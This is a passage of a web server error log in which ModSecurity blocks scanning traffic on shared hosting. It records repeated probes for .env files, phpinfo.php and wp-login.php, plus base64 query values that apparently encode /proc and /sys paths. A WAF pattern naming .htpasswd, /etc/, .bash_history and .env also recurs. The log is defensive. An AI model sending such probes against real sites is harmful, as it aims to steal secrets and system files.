2026] [access_compat:error] [pid 648189:tid 648300] [remote 74.7.242.16:46334] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:18:26.110738 2026] [access_compat:error] [pid 648189:tid 648300] [remote 74.7.242.16:46334] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:18:26.191839 2026] [security2:error] [pid 648189:tid 648450] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/static_user/.env"] [unique_id "ai3zUlWSojQL4F7upKBu6QAAAOQ"] [Sat Jun 13 18:18:26.208413 2026] [security2:error] [pid 648189:tid 648333] [remote 17.246.23.36:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 36.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zUlWSojQL4F7upKBu6wAA6G4"] [Sat Jun 13 18:18:26.329221 2026] [security2:error] [pid 648189:tid 648479] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/staticfiles/.env"] [unique_id "ai3zUlWSojQL4F7upKBu7wAAAP0"] [Sat Jun 13 18:18:26.347823 2026] [security2:error] [pid 646876:tid 646882] [remote 17.241.219.138:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 138.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zUtyTkdrNlD40tSG1YAAAAQM"] [Sat Jun 13 18:18:26.452095 2026] [access_compat:error] [pid 646876:tid 646900] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDIvY2FwYWJpbGl0aWVz [Sat Jun 13 18:18:26.452363 2026] [access_compat:error] [pid 646876:tid 646900] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDIvY2FwYWJpbGl0aWVz [Sat Jun 13 18:18:26.464422 2026] [security2:error] [pid 648189:tid 648421] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/stats/.env"] [unique_id "ai3zUlWSojQL4F7upKBu9AAAAMg"] [Sat Jun 13 18:18:26.541685 2026] [security2:error] [pid 648189:tid 648316] [remote 17.241.219.237:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 237.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zUlWSojQL4F7upKBu-AAAo14"] [Sat Jun 13 18:18:26.581059 2026] [security2:error] [pid 648189:tid 648424] [client 184.154.76.34:51180] ModSecurity: Warning. Matched phrase "SiteLockSpider" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "404"] [hostname "casanoelectric.com"] [uri "/cgi-sys/404.html"] [unique_id "ai3zUlWSojQL4F7upKBu-QAAAMs"] [Sat Jun 13 18:18:26.600663 2026] [security2:error] [pid 648189:tid 648376] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/storage/.env"] [unique_id "ai3zUlWSojQL4F7upKBu-wAAAJw"] [Sat Jun 13 18:18:26.728197 2026] [security2:error] [pid 648189:tid 648303] [remote 17.22.237.237:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 237.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zUlWSojQL4F7upKBvAAAA8VE"] [Sat Jun 13 18:18:26.746862 2026] [access_compat:error] [pid 648189:tid 648246] [remote 57.141.14.109:53362] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:26.747186 2026] [access_compat:error] [pid 648189:tid 648246] [remote 57.141.14.109:53362] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:26.785243 2026] [access_compat:error] [pid 646876:tid 646972] [remote 57.141.14.12:62658] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:26.785537 2026] [access_compat:error] [pid 646876:tid 646972] [remote 57.141.14.12:62658] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:26.918196 2026] [access_compat:error] [pid 646876:tid 646946] [remote 57.141.14.32:29281] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:26.918642 2026] [access_compat:error] [pid 646876:tid 646946] [remote 57.141.14.32:29281] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:26.991141 2026] [access_compat:error] [pid 646876:tid 646895] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1 [Sat Jun 13 18:18:26.991594 2026] [access_compat:error] [pid 646876:tid 646895] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1 [Sat Jun 13 18:18:27.039916 2026] [security2:error] [pid 648189:tid 648486] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/strapi/.env"] [unique_id "ai3zU1WSojQL4F7upKBvDAAAAQQ"] [Sat Jun 13 18:18:27.175823 2026] [security2:error] [pid 648189:tid 648375] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/style/.env"] [unique_id "ai3zU1WSojQL4F7upKBvEwAAAJs"] [Sat Jun 13 18:18:27.272986 2026] [security2:error] [pid 646876:tid 646892] [remote 17.246.15.129:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 129.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zU9yTkdrNlD40tSG1cAAAMA0"] [Sat Jun 13 18:18:27.312498 2026] [security2:error] [pid 648189:tid 648423] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/styles/.env"] [unique_id "ai3zU1WSojQL4F7upKBvGAAAAMo"] [Sat Jun 13 18:18:27.316388 2026] [security2:error] [pid 648189:tid 648225] [remote 17.241.219.171:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 171.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zU1WSojQL4F7upKBvFwAA1wU"] [Sat Jun 13 18:18:27.448300 2026] [security2:error] [pid 648189:tid 648453] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/stylesheets/.env"] [unique_id "ai3zU1WSojQL4F7upKBvGwAAAOc"] [Sat Jun 13 18:18:27.558912 2026] [access_compat:error] [pid 646876:tid 646988] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9ldmVudDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:18:27.559169 2026] [access_compat:error] [pid 646876:tid 646988] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9ldmVudDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:18:27.715771 2026] [security2:error] [pid 648189:tid 648418] [client 184.154.76.34:51200] ModSecurity: Warning. Matched phrase "SiteLockSpider" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "301"] [hostname "casanoelectric.com"] [uri "/index.php"] [unique_id "ai3zU1WSojQL4F7upKBvHwAAAMU"] [Sat Jun 13 18:18:27.728237 2026] [security2:error] [pid 648189:tid 648394] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/symfony/.env"] [unique_id "ai3zU1WSojQL4F7upKBvKwAAAK4"] [Sat Jun 13 18:18:27.865041 2026] [security2:error] [pid 648189:tid 648473] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/system-config/.env"] [unique_id "ai3zU1WSojQL4F7upKBvLwAAAPc"] [Sat Jun 13 18:18:27.876485 2026] [access_compat:error] [pid 648189:tid 648343] [remote 57.141.14.2:51637] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:27.876951 2026] [access_compat:error] [pid 648189:tid 648343] [remote 57.141.14.2:51637] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:28.006988 2026] [security2:error] [pid 648189:tid 648379] [client 185.177.72.9:62788] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/system/.env"] [unique_id "ai3zVFWSojQL4F7upKBvOAAAAJ8"] [Sat Jun 13 18:18:28.009565 2026] [security2:error] [pid 648189:tid 648323] [remote 37.27.234.213:54076] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 213.234.27.37.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "dentiststudygroup.com"] [uri "/wp-login.php"] [unique_id "ai3zU1WSojQL4F7upKBvNwAAkWQ"] [Sat Jun 13 18:18:28.024427 2026] [access_compat:error] [pid 648189:tid 648322] [remote 57.141.14.92:53254] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:28.024743 2026] [access_compat:error] [pid 648189:tid 648322] [remote 57.141.14.92:53254] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:28.049637 2026] [access_compat:error] [pid 646876:tid 646975] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbWljZQ== [Sat Jun 13 18:18:28.049913 2026] [access_compat:error] [pid 646876:tid 646975] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbWljZQ== [Sat Jun 13 18:18:28.107714 2026] [access_compat:error] [pid 648189:tid 648283] [remote 57.141.14.113:29806] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:28.107994 2026] [access_compat:error] [pid 648189:tid 648283] [remote 57.141.14.113:29806] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:28.128830 2026] [core:error] [pid 646876:tid 647011] [client 66.249.77.160:47426] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:18:28.128850 2026] [core:error] [pid 646876:tid 647011] [client 66.249.77.160:47426] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:18:28.287823 2026] [security2:error] [pid 648189:tid 648363] [client 185.177.72.9:62788] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/system/phpinfo.php"] [unique_id "ai3zVFWSojQL4F7upKBvSQAAAI8"] [Sat Jun 13 18:18:28.313924 2026] [security2:error] [pid 648189:tid 648280] [remote 5.175.167.71:57442] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.167.175.5.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gkmasterson.com"] [uri "/wp-login.php"] [unique_id "ai3zVFWSojQL4F7upKBvSwAA0zo"] [Sat Jun 13 18:18:28.324967 2026] [access_compat:error] [pid 646876:tid 646890] [remote 57.141.14.104:46386] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:28.325232 2026] [access_compat:error] [pid 646876:tid 646890] [remote 57.141.14.104:46386] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:28.455220 2026] [security2:error] [pid 648189:tid 648230] [remote 37.27.234.213:54076] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 213.234.27.37.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "dentiststudygroup.com"] [uri "/wp-login.php"] [unique_id "ai3zVFWSojQL4F7upKBvUgAA0Qo"], referer: https://dentiststudygroup.com/wp-login.php [Sat Jun 13 18:18:28.545691 2026] [access_compat:error] [pid 648189:tid 648242] [remote 57.141.14.55:24379] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:28.545985 2026] [access_compat:error] [pid 648189:tid 648242] [remote 57.141.14.55:24379] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:28.553842 2026] [security2:error] [pid 648189:tid 648448] [client 185.177.72.9:44310] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( 